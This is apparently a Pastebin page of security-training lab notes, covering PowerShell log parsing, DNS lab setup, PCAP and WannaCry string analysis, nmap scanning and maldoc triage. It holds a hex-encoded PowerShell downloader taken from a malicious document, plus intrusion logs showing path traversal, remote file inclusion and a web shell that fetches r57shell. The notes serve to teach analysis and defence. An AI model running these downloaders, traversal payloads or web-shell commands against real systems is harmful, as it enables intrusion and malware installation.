Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- If you are interested in running PowerShell on Mac OS X, or Linux you can check out the following link:
- https://www.howtogeek.com/267858/how-to-install-microsoft-powershell-on-linux-or-os-x/
- #####################
- # Powershell Basics #
- #####################
- PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
- PowerShell file extension end in .ps1 .
- An important note is that you cannot double click on a PowerShell script to execute it.
- To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
- ------------------------Type This------------------------------
- cd c:\
- dir
- cd
- ls
- ---------------------------------------------------------------
- To obtain a list of cmdlets, use the Get-Command cmdlet
- ------------------------Type This------------------------------
- Get-Command
- ---------------------------------------------------------------
- You can use the Get-Alias cmdlet to see a full list of aliased commands.
- ------------------------Type This------------------------------
- Get-Alias
- ---------------------------------------------------------------
- Don't worry you won't blow up your machine with Powershell
- ------------------------Type This------------------------------
- Get-Process | stop-process Don't press [ ENTER ] What will this command do?
- Get-Process | stop-process -whatif
- ---------------------------------------------------------------
- To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
- ------------------------Type This------------------------------
- Get-Help Get-Command
- Get-Help Get-Service –online
- Get-Service -Name TermService, Spooler
- Get-Service –N BITS
- ---------------------------------------------------------------
- - Run cmdlet through a pie and refer to its properties as $_
- ------------------------Type This------------------------------
- Get-Service | where-object { $_.Status -eq "Running"}
- ---------------------------------------------------------------
- - PowerShell variables begin with the $ symbol. First lets create a variable
- ------------------------Type This------------------------------
- $serv = Get-Service –N Spooler
- ---------------------------------------------------------------
- To see the value of a variable you can just call it in the terminal.
- ------------------------Type This------------------------------
- $serv
- $serv.gettype().fullname
- ---------------------------------------------------------------
- Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
- ------------------------Type This------------------------------
- $serv | Get-Member
- Get-Member -InputObject $serv
- ---------------------------------------------------------------
- Let's use a method and a property with our object.
- ------------------------Type This------------------------------
- $serv.Status
- $serv.Stop()
- $serv.Refresh()
- $serv.Status
- $serv.Start()
- $serv.Refresh()
- $serv.Status
- ---------------------------------------------------------------
- If you want some good command-line shortcuts you can check out the following link:
- https://technet.microsoft.com/en-us/library/ff678293.aspx
- #############################
- # Simple Event Log Analysis #
- #############################
- Let's setup a directory to work in:
- ------------------------Type This------------------------------
- cd c:\
- mkdir ps
- cd ps
- ---------------------------------------------------------------
- Step 1: Dump the event logs
- ---------------------------
- The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
- To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
- If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
- ------------------------Type This------------------------------
- Get-EventLog -LogName application | Export-Clixml Applog.xml
- type .\Applog.xml
- $logs = "system","application","security"
- ---------------------------------------------------------------
- The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
- ------------------------Type This------------------------------
- $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
- ---------------------------------------------------------------
- Step 2: Import the event log of interest
- ----------------------------------------
- To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
- Store the results in a variable.
- Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
- The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
- ------------------------Type This------------------------------
- $seclog = Import-Clixml security.xml
- $seclog | select -Last 5
- ---------------------------------------------------------------
- Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
- ------------------------Type This------------------------------
- Get-EventLog Application -After (Get-Date).AddDays(-1)
- ---------------------------------------------------------------
- You can use '-after' and '-before' to filter date ranges
- One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
- By default, an ordinary user does not have permission to read the security log.
- Step 3: Drill into a specific entry
- -----------------------------------
- To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
- ------------------------Type This------------------------------
- $seclog | select -first 1 | fl *
- ---------------------------------------------------------------
- The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
- ------------------------Type This------------------------------
- ($seclog | select -first 1).message
- (($seclog | select -first 1).message).gettype()
- ---------------------------------------------------------------
- In the *nix world you often want a count of something (wc -l).
- How often is the SeSecurityPrivilege privilege mentioned in the message property?
- To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
- ------------------------Type This------------------------------
- $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
- ---------------------------------------------------------------
- If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
- ------------------------Type This------------------------------
- $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
- ---------------------------------------------------------------
- Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
- Use the count property to determine the total number of entries in the event log.
- ------------------------Type This------------------------------
- $seclog.Count
- ---------------------------------------------------------------
- ############################
- # Simple Log File Analysis #
- ############################
- You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
- ------------------------Type This------------------------------
- cd c:\ps
- (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
- (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
- Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
- ---------------------------------------------------------------
- The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
- ------------------------Type This------------------------------
- Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
- ---------------------------------------------------------------
- To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
- ------------------------Type This------------------------------
- Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
- ---------------------------------------------------------------
- To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
- ------------------------Type This------------------------------
- Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
- ---------------------------------------------------------------
- Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
- ------------------------Type This------------------------------
- Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
- ---------------------------------------------------------------
- In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
- This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
- ------------------------Type This------------------------------
- Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
- ---------------------------------------------------------------
- ##############################################
- # Parsing Log files using windows PowerShell #
- ##############################################
- Download the sample IIS log http://pastebin.com/LBn64cyA
- ------------------------Type This------------------------------
- (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
- Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
- ---------------------------------------------------------------
- The above command would give us all the WebDAV requests.
- To filter this to a particular user name, use the below command:
- ------------------------Type This------------------------------
- Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
- ---------------------------------------------------------------
- Some more options that will be more commonly required :
- For Outlook Web Access : Replace WebDAV with OWA
- For EAS : Replace WebDAV with Microsoft-server-activesync
- For ECP : Replace WebDAV with ECP
- --------------------------------------------
- Lab Exercise: Setting Up DNS Servers with PowerShell for Teams
- This lab exercise will guide students through the process of setting up DNS servers using PowerShell, configured specifically for teams. Each team’s DNS server will resolve the hostnames of the other teams' servers, enabling cross-team communication via ping by name.
- Lab Exercise: Setting Up Team-Specific DNS Servers with PowerShell
- Objective: Install and configure DNS servers on Windows Server for three teams, ensuring that each team's server can resolve the names of the other teams' servers.
- Steps:
- Step 1: Install the DNS Server Role
- Open PowerShell as Administrator.
- Run the following command to install the DNS Server role:
- ---------------------------- Type this ----------------------------
- Install-WindowsFeature -Name DNS -IncludeManagementTools
- -------------------------------------------------------------------
- Verify the installation:
- ---------------------------- Type this ----------------------------
- Get-WindowsFeature -Name DNS
- -------------------------------------------------------------------
- Step 2: Detect the Server’s IP Address
- Detect the server's IP address, which will be used for DNS configuration:
- ---------------------------- Type this -----------------------------------------------------------------------------------------------------
- $ipAddress = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.PrefixOrigin -eq "Dhcp" -or $_.PrefixOrigin -eq "Manual" }).IPAddress
- Write-Host "Detected IP Address: $ipAddress"
- ---------------------------------------------------------------------------------------------------------------------------------------------
- Step 3: Create DNS Zones for Each Team
- Create a DNS zone for each team. Replace YourTeamNumber with the team number (1, 2, or 3) and YourTeamName with the corresponding team name (team1, team2, or team3):
- ---------------------------- Team 1 type this ----------------------------
- $teamNumber = "1"
- $teamName = "alsadd.qesc.nosc"
- Add-DnsServerPrimaryZone -Name $teamName -ReplicationScope "Forest"
- -------------------------------------------------------------------
- ---------------------------- Team 2 Type this ---------------------
- $teamNumber = "2"
- $teamName = "alduhail.qesc.nosc"
- Add-DnsServerPrimaryZone -Name $teamName -ReplicationScope "Forest"
- -------------------------------------------------------------------
- ---------------------------- Team 3 Type this ---------------------
- $teamNumber = "3"
- $teamName = "eljaish.qesc.nosc"
- Add-DnsServerPrimaryZone -Name $teamName -ReplicationScope "Forest"
- -------------------------------------------------------------------
- Step 4: Add DNS Records for Other Teams
- Add A records for the other teams' servers. For example, if this is team 1, add records for team 2 and team 3:
- ---------------------------- Team 1 type this ---------------------------------------------------------
- Add-DnsServerResourceRecordA -ZoneName "alsadd.qesc.nosc" -Name "alduhail" -IPv4Address "52.53.212.185"
- Add-DnsServerResourceRecordA -ZoneName "alsadd.qesc.nosc" -Name "eljaish" -IPv4Address "54.193.54.37"
- -------------------------------------------------------------------------------------------------------
- ---------------------------- Team 2 type this ---------------------------------------------------------
- Add-DnsServerResourceRecordA -ZoneName "alduhail.qesc.nosc" -Name "alsadd" -IPv4Address "54.177.32.57"
- Add-DnsServerResourceRecordA -ZoneName "alduhail.qesc.nosc" -Name "eljaish" -IPv4Address "54.193.54.37"
- -------------------------------------------------------------------------------------------------------
- ---------------------------- Team 3 type this ----------------------------------------------------------
- Add-DnsServerResourceRecordA -ZoneName "eljaish.qesc.nosc" -Name "alsadd" -IPv4Address "54.177.32.57"
- Add-DnsServerResourceRecordA -ZoneName "eljaish.qesc.nosc" -Name "alduhail" -IPv4Address "52.53.212.185"
- --------------------------------------------------------------------------------------------------------
- Verify DNS Records:
- Query the DNS server to ensure the A records are properly configured:
- To verify the DNS records for alduhail.qesc.nosc (Team 2) and eljaish.qesc.nosc (Team 3), Team 1 should use:
- ---------------------------- Team 1 type this ---------------------------------------------------------
- Resolve-DnsName -Name "alduhail.qesc.nosc" # Verifying Team 2's DNS record
- Resolve-DnsName -Name "eljaish.qesc.nosc" # Verifying Team 3's DNS record
- -------------------------------------------------------------------------------------------------------
- To verify the DNS records for alsadd.qesc.nosc (Team 1) and eljaish.qesc.nosc (Team 3), Team 2 should use:
- ---------------------------- Team 2 type this ---------------------------------------------------------
- Resolve-DnsName -Name "alsadd.qesc.nosc" # Verifying Team 1's DNS record
- Resolve-DnsName -Name "eljaish.qesc.nosc" # Verifying Team 3's DNS record
- -------------------------------------------------------------------------------------------------------
- To verify the DNS records for alsadd.qesc.nosc (Team 1) and alduhail.qesc.nosc (Team 2), Team 3 should use:
- ---------------------------- Team 3 type this ----------------------------------------------------------
- Resolve-DnsName -Name "alsadd.qesc.nosc" # Verifying Team 1's DNS record
- Resolve-DnsName -Name "alduhail.qesc.nosc" # Verifying Team 2's DNS record
- --------------------------------------------------------------------------------------------------------
- ##################################################################
- # Analyzing a PCAP Prads #
- # Note: run as regular user #
- ##################################################################
- ---------------------------Type This-----------------------------------
- cd ~
- prads -r suspicious-time.pcap -l prads-asset.log
- cat prads-asset.log | less
- cat prads-asset.log | grep SYN | grep -iE 'windows|linux'
- cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome'
- cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis'
- -----------------------------------------------------------------------
- ##################################
- # PCAP Analysis with ChaosReader #
- # Note: run as regular user #
- ##################################
- ---------------------------Type This-----------------------------------
- cd ~
- perl chaosreader.pl suspicious-time.pcap
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
- cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
- for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
- python -m SimpleHTTPServer
- ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
- ------------------------------------------------------------------------
- #############################
- # PCAP Analysis with tshark #
- # Note: run as regular user #
- #############################
- ---------------------------Type This-----------------------------------
- tshark -i ens3 -r suspicious-time.pcap -qz io,phs
- tshark -r suspicious-time.pcap -qz ip_hosts,tree
- tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
- tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
- whois rapidshare.com.eyu32.ru
- whois sploitme.com.cn
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
- tshark -r suspicious-time.pcap -qz http_req,tree
- tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
- tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
- ------------------------------------------------------------------------
- ---------------------------Type This----------------------------------
- hexdump -n 2 -C wannacry.exe
- ----------------------------------------------------------------------
- ***What is '4d 5a' or 'MZ'***
- Reference:
- http://www.garykessler.net/library/file_sigs.html
- ---------------------------Type This-----------------------------------
- objdump -x wannacry.exe
- strings wannacry.exe
- strings wannacry.exe | grep -i dll
- strings wannacry.exe | grep -i library
- strings wannacry.exe | grep -i reg
- strings wannacry.exe | grep -i key
- strings wannacry.exe | grep -i rsa
- strings wannacry.exe | grep -i open
- strings wannacry.exe | grep -i get
- strings wannacry.exe | grep -i mutex
- strings wannacry.exe | grep -i irc
- strings wannacry.exe | grep -i join
- strings wannacry.exe | grep -i admin
- strings wannacry.exe | grep -i list
- ----------------------------------------------------------------------
- Ok, let's look for the individual strings
- ---------------------------Type This-----------------------------------
- strings wannacry.exe | grep -i ooops
- strings wannacry.exe | grep -i wanna
- strings wannacry.exe | grep -i wcry
- strings wannacry.exe | grep -i wannacry
- strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
- ----------------------------------------------------------------------
- #################################
- ----------- ############### # Day 2: Software Exploitation # ############### -----------
- #################################
- ########################
- # Scanning Methodology #
- ########################
- - Ping Sweep
- What's alive?
- ------------
- ---------------------------Type this command-----------------------------------
- sudo nmap -sP 157.166.226.*
- -------------------------------------------------------------------------------
- -if -SP yields no results try:
- ---------------------------Type this command-----------------------------------
- sudo nmap -sL 157.166.226.*
- -------------------------------------------------------------------------------
- -Look for hostnames:
- ---------------------------Type this command-----------------------------------
- sudo nmap -sL 157.166.226.* | grep cnn
- -------------------------------------------------------------------------------
- - Port Scan
- What's where?
- ------------
- ---------------------------Type this command-----------------------------------
- sudo nmap -sS 68.183.112.122
- -------------------------------------------------------------------------------
- - Bannergrab/Version Query
- What versions of software are running
- -------------------------------------
- ---------------------------Type this command-----------------------------------
- sudo nmap -sV 68.183.112.122
- -------------------------------------------------------------------------------
- - Vulnerability Research
- Lookup the banner versions for public exploits
- ----------------------------------------------
- https://www.exploit-db.com/search
- http://securityfocus.com/bid
- https://packetstormsecurity.com/files/tags/exploit/
- Network Penetration Testing Process (known vulnerabilities)
- -----------------------------------------------------------
- 1. Ping Sweep:
- The purpose of this step is to identify live hosts
- nmap -sP <ip-address/ip-range>
- 2. Port Scan
- Identify running services. We use the running services to map the network topology.
- nmap -sS <ip-address/ip-range>
- 3. Bannergrab
- Identify the version of version of software running on each port
- nmap -sV <ip-address/ip-range>
- 4. Vulnerability Research
- Use the software version number to research and determine if it is out of date (vulnerable).
- exploit-db.com/search
- --------------------
- Browse to the following website with a web browser:
- https://101.46.48.34:8834/
- username: nessus
- password:
- NOTE: ask the instructor for the password
- ########################
- # Linux analysis tasks #
- ########################
- ---------------------------Type this command-----------------------------------
- file 064016.doc
- hexdump -n 2 -C 064016.doc
- strings 064016.doc | grep -i dll
- strings 064016.doc | grep -i library
- strings 064016.doc | grep -i reg
- strings 064016.doc | grep -i key
- strings 064016.doc | grep -i rsa
- strings 064016.doc | grep -i open
- strings 064016.doc | grep -i get
- strings 064016.doc | grep -i mutex
- strings 064016.doc | grep -i irc
- strings 064016.doc | grep -i join
- strings 064016.doc | grep -i admin
- strings 064016.doc | grep -i list
- olevba 064016.doc --decode
- ---------------------------------------------------------------------------------
- See if you find this long string of text:
- 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
- - Take that long blob that starts with 636D and finishes with 653B and paste it in:
- http://www.rapidtables.com/convert/number/hex-to-ascii.htm
- #########################################
- # Security Operations Center Job Roles #
- # Intrusion Analysis Level 1 #
- #########################################
- Required Technical Skills: Comfortable with basic Linux/Windows (MCSA/Linux+)
- Comfortable with basic network (Network+)
- Comfortable with security fundamentals (Security+)
- Job Task: Process security events, follow incident response triage playbook
- #########################################
- # Security Operations Center Job Roles #
- # Intrusion Analysis Level 2 #
- #########################################
- Required Technical Skills: Comfortable with basic Linux/Windows system administration
- Comfortable with basic network administration
- Comfortable with basic programming
- Comfortable researching IT security issues
- Job Task: Perform detailed malware analysis, assist with development of the incident response triage playbook
- #########################################
- # Security Operations Center Job Roles #
- # Intrusion Analysis Level 3 #
- #########################################
- Required Technical Skills: Strong statistical analysis background
- Strong programming background (C, C++, Java, Assembly, scripting languages)
- Advanced system/network administration background
- Comfortable researching IT security issues
- Job Task: Perform detailed malware analysis
- Perform detailed statistical analysis
- Assist with development of the incident response triage playbook
- -------------------------------------------------------------------------------------------------------------------------
- Step 1: Receive suspicious file
- -------------------------------
- - Help Desk tickets
- - SIEM
- - AV
- - EDR
- - Email/Spam
- - Proxy
- Step 2: Perform static analysis
- -------------------------------
- 1. Run strings/grep for primary IoCs
- - Modifies the registry
- - Modifies processes/services
- - Modifies the filesystem
- - Connects to the network
- A yes to these should help you determine whether you want to do dynamic analysis or not
- Consideration 1: Encryption/Obfuscation - you may have to do dynamic analysis
- Consideration 2: If you dealing with anti-analysis - you may have to do static analysis
- Step 3: Determine if the malware modifies the registry
- ------------------------------------------------------
- ---------------------------Type This-----------------------------------
- strings wannacry.exe | grep -i reg
- strings wannacry.exe | grep -i hkcu
- strings wannacry.exe | grep -i hklm
- strings wannacry.exe | grep -i hkcr
- -----------------------------------------------------------------------
- Step 4: Determine if the malware modifies processes/services
- ------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- strings wannacry.exe | grep -i advapi32
- strings wannacry.exe | grep -i service
- strings wannacry.exe | grep -i OpenSCManagerA
- strings wannacry.exe | grep -i OpenSCManagerA
- strings wannacry.exe | grep -i InternetCloseHandle
- strings wannacry.exe | grep -i OpenServiceA
- strings wannacry.exe | grep -i CloseServiceHandle
- strings wannacry.exe | grep -i StartServiceCtrlDispatcherA
- strings wannacry.exe | grep -i GetExitCodeProcess
- strings wannacry.exe | grep -i GetProcAddress
- -----------------------------------------------------------------------
- Step 4: Determine if the malware modifies the file system
- ------------------------------------------------------------
- ---------------------------Type This-----------------------------------
- strings wannacry.exe | grep -i GetTempPathW
- strings wannacry.exe | grep -i GetWindowsDirectoryW
- strings wannacry.exe | grep -i %TEMP%
- strings wannacry.exe | grep -i GetFileAttributesA
- -----------------------------------------------------------------------
- Step 5: Does the malware have any persistence capability
- --------------------------------------------------------
- 3 main ways for an attacker to maintain access to a compromised system (persistence)
- - Registry
- - Service
- - Scheduled task
- <189>Nov 11 2006 15:58:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/images
- <189>Nov 11 2006 15:58:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/images/
- <189>Nov 11 2006 15:58:50: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/icons/folder.gif
- <189>Nov 11 2006 15:59:31: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/images/blue/
- <189>Nov 11 2006 15:59:32: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/icons/image2.gif
- <189>Nov 11 2006 16:01:01: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/configuration
- <189>Nov 11 2006 16:01:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/config
- <189>Nov 11 2006 16:01:12: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/config.php
- <189>Nov 11 2006 16:01:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/server_settings.php
- <189>Nov 11 2006 16:01:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/attachments
- <189>Nov 11 2006 16:02:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin
- <189>Nov 11 2006 16:02:09: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php
- <189>Nov 11 2006 16:02:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=attachments
- <189>Nov 11 2006 16:02:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=templates
- <189>Nov 11 2006 16:02:31: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=settings
- <189>Nov 11 2006 16:02:38: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=settings../
- <189>Nov 11 2006 16:02:46: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=../settings
- <189>Nov 11 2006 16:03:02: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=../../../../../../etc/passwd
- <189>Nov 11 2006 16:03:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=../../../../../../etc/passwd%00
- <189>Nov 11 2006 16:03:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=topts
- <189>Nov 11 2006 16:03:30: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=users
- <189>Nov 11 2006 16:03:35: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=theme
- <189>Nov 11 2006 16:03:39: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=pager
- <189>Nov 11 2006 16:03:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=kbase
- <189>Nov 11 2006 16:03:46: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=attachments
- <189>Nov 11 2006 16:03:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=templates
- <189>Nov 11 2006 16:03:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php? tpl=Please+Select+a+Template+to+Edit+.+.+.&t=templates&restore_tpl=Restore+Templates
- <189>Nov 11 2006 16:04:57: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common
- <189>Nov 11 2006 16:04:57: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/
- <189>Nov 11 2006 16:06:22: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/whosonline.php
- <189>Nov 11 2006 16:10:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/logout.php?database=http://cgi.cs.kent.edu/ ~pwang/php/store/images/14.txt%00
- <189>Nov 11 2006 16:10:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/index.php
- <189>Nov 11 2006 16:13:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../ etc/passwd%00
- <189>Nov 11 2006 16:15:23: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/admin/control.php?t=attachments
- <189>Nov 11 2006 16:15:55: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp
- <189>Nov 11 2006 16:18:56: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la
- <189>Nov 11 2006 16:20:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=uname%20-a
- <189>Nov 11 2006 16:20:30: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=finger
- <189>Nov 11 2006 16:20:51: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20la%20../
- <189>Nov 11 2006 16:21:03: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../
- <189>Nov 11 2006 16:21:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../
- <189>Nov 11 2006 16:23:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../lang
- <189>Nov 11 2006 16:25:34: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=wget%20-O%20../lang/lan.txt.gz%20http://rst.void.ru/download/r57shell.txt.gz
- <189>Nov 11 2006 16:25:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../lang
- <189>Nov 11 2006 16:25:42: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
- <189>Nov 11 2006 16:25:57: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../lang
- <189>Nov 11 2006 16:25:58: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
- <189>Nov 11 2006 16:26:11: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../
- <189>Nov 11 2006 16:26:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20config.php
- <189>Nov 11 2006 16:27:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../wordpress
- <189>Nov 11 2006 16:27:54: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/wordpress/test.php
- <189>Nov 11 2006 16:28:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress
- <189>Nov 11 2006 16:28:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/
- <189>Nov 11 2006 16:28:18: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/style.css
- <189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/ kubrickheader.jpg
- <189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/kubrickbg.jpg
- <189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/ kubrickbgcolor.jpg
